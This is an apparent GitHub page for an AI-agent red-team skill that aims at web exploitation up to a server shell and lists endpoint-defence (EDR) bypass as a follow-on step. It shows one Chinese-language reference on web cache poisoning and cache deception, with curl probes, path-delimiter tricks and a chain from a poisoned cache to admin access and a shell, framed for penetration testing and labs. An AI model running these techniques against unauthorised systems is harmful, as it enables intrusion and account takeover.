pale-knight/redteam-skill / skills/web-attack
web-attack
FlaggedHTTP/Web exploitation until a server shell or equivalent OS execution. Use after /web-recon has mapped the application. Covers injection, upload, LFI, SSRF/XXE, SSTI, deserialization, JWT/SAML, API logic, desync/cache/parser, and Web-controlled backend abuse. WAF stays here. Endpoint blocks after OS execution hand off to /edr-bypass then return. Direct non-HTTP service ports belong to /recon or /service-attack.
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 5.3 KB |
| references/api-security.md | markdown | 20.3 KB |
| references/auth-bypass.md | markdown | 1.9 KB |
| references/cmdi.md | markdown | 5.0 KB |
| references/deserialization.md | markdown | 1.6 KB |
| references/http-desync.md | markdown | 5.2 KB |
| references/java-deserialization.md | markdown | 3.3 KB |
| references/jwt.md | markdown | 1.4 KB |
| references/lfi-rfi.md | markdown | 4.0 KB |
| references/orm-leak.md | markdown | 5.3 KB |
| references/parser-differentials.md | markdown | 4.4 KB |
| references/saml-security.md | markdown | 3.6 KB |
| references/server-side-client-abuse.md | markdown | 3.3 KB |
| references/sqli-mssql-chain.md | markdown | 6.3 KB |
| references/sqli-mysql-chain.md | markdown | 5.9 KB |
| references/sqli-oracle-chain.md | markdown | 4.7 KB |
| references/sqli-postgresql-chain.md | markdown | 4.6 KB |
| references/sqli.md | markdown | 8.0 KB |
| references/ssrf.md | markdown | 4.6 KB |
| references/ssti.md | markdown | 5.3 KB |
| references/upload.md | markdown | 3.6 KB |
| references/waf-bypass.md | markdown | 6.8 KB |
| references/web-cache.md | markdown | 4.1 KB |
| references/xss.md | markdown | 3.8 KB |
| references/xxe.md | markdown | 1.5 KB |
references/web-cache.md
View on GitHub# Web Cache Poisoning / Web Cache Deception 详细参考
> 两类漏洞要分开:
> - **Poisoning**:让攻击者控制的响应被缓存并送给其他用户。
> - **Deception**:让本应私有/动态的受害者响应被缓存到攻击者可读取的 key。
---
## 1. 先确认真的有 Cache
```
for i in 1 2 3; do
curl -skI 'https://TARGET/static/app.js?cb=cachetest' | \
grep -Ei '^(age|x-cache|cf-cache-status|via|cache-control|vary|etag):'
sleep 1
done
```
信号:
```
MISS → HIT
Age递增
X-Cache: HIT
CF-Cache-Status: HIT
```
没有 header 也可能有 internal cache,需用响应时间/内容一致性继续判断。
---
## 2. Poisoning — 找 Unkeyed Input
### Header 影响响应但不进 Cache Key
用唯一 marker:
```
X-Forwarded-Host: cacheprobe.invalid
X-Forwarded-Scheme: http
X-Original-URL: /cacheprobe
X-Rewrite-URL: /cacheprobe
Forwarded: host=cacheprobe.invalid
```
请求:
```
curl -sk https://TARGET/ \
-H 'X-Forwarded-Host: cacheprobe.invalid' \
-D headers.txt -o body.txt
grep -ni 'cacheprobe.invalid' body.txt headers.txt
```
如果 marker 出现在:
```
Location
canonical URL
script src
OG URL
absolute link
```
再判断该 header 是否进入 cache key。
### 安全 Cache Buster
测试时带不会被正常用户命中的 query:
```
?cb=RANDOM
```
先证明机制,再考虑是否存在共享 key;不要直接污染首页。
---
## 3. Query Parameter Cache Key
```
/resource?x=1
/resource?x=2
/resource?utm_source=a
/resource?utm_source=b
```
某些 tracking 参数会被 cache 忽略,但 backend 仍会使用;这类“unkeyed query parameter”是 poisoning 候选。
对比:
```
status
body hash
Age/X-Cache
```
---
## 4. Path / Delimiter Differential — Cache Deception
现代高价值测试:CDN/cache 与 origin 对 path 的解释不同。
假设私有页面:
```
/account
```
在**自己的测试账户**上先测试:
```
/account/test.css
/account;.css
/account%3Ftest.css
/account%23test.css
/account/test.js
/account/..%2fstatic/x.css
```
如果:
```
Origin → 仍返回 /account 私有内容
Cache → 因 .css/.js/static path 规则缓存
```
则可能形成 Web Cache Deception。
### 关键检查
请求受害者私有页面变体后,退出登录/无 Cookie 再请求同一 URL:
```
# 已登录请求(仅自己的靶场账户)
curl -skb cookies.txt 'https://TARGET/account/x.css' -D a.h -o a.body
# 无认证重放
curl -sk 'https://TARGET/account/x.css' -D b.h -o b.body
```
无认证仍返回已登录内容 + cache hit → 强证据。
---
## 5. Static Extension / Directory / File Rules
常见 cache rule:
```
*.css *.js *.png *.jpg *.svg *.woff
/static/
/assets/
/_next/static/
```
不要只测扩展名;2024+ cache research 强调:
```
front-end delimiter
back-end delimiter
normalization order
encoded delimiter
```
组合才是核心。
---
## 6. Cache Key Normalization
测试:
```
/path
/path/
/path//
/path/./
/path/%2e/
/PATH
/path%2Fchild
/path;child
```
比较 cache 与 origin 是否把不同 URL 归到同一个 key/handler。
---
## 7. 内部/Framework Cache
有些应用除了 CDN 还有:
```
Next.js data cache
framework route cache
reverse proxy microcache
application object cache
```
信号:
```
外层Cache MISS但内容持续错误
x-nextjs-cache
x-vercel-cache
age缺失但响应被固定
```
如果某个 unkeyed internal header 改变内部响应,仍可形成 poisoning。
---
## 8. Cache Poisoning → Shell
Poisoning 常直接得到的是:
```
stored XSS
open redirect
恶意JS引用
password reset host poisoning
admin UI内容污染
```
本 skill 目标仍是 Shell:
```
cache poisoning
↓
管理员session/管理员操作/高权限token
↓
admin upload/plugin/template/command feature
↓
Shell
```
如果只能证明跨用户 XSS/数据泄露,漏洞成立但 `/web-attack` 尚未完成。
---
## 9. 清理/避免持久污染
- 首轮必须使用 cache-buster 隔离。
- 靶场中如果确认共享 key 被污染,测试结束后用正常请求覆盖/等待 TTL。
- 记录 `Age`, `Cache-Control`, `X-Cache`, key 输入、污染时间和 TTL。
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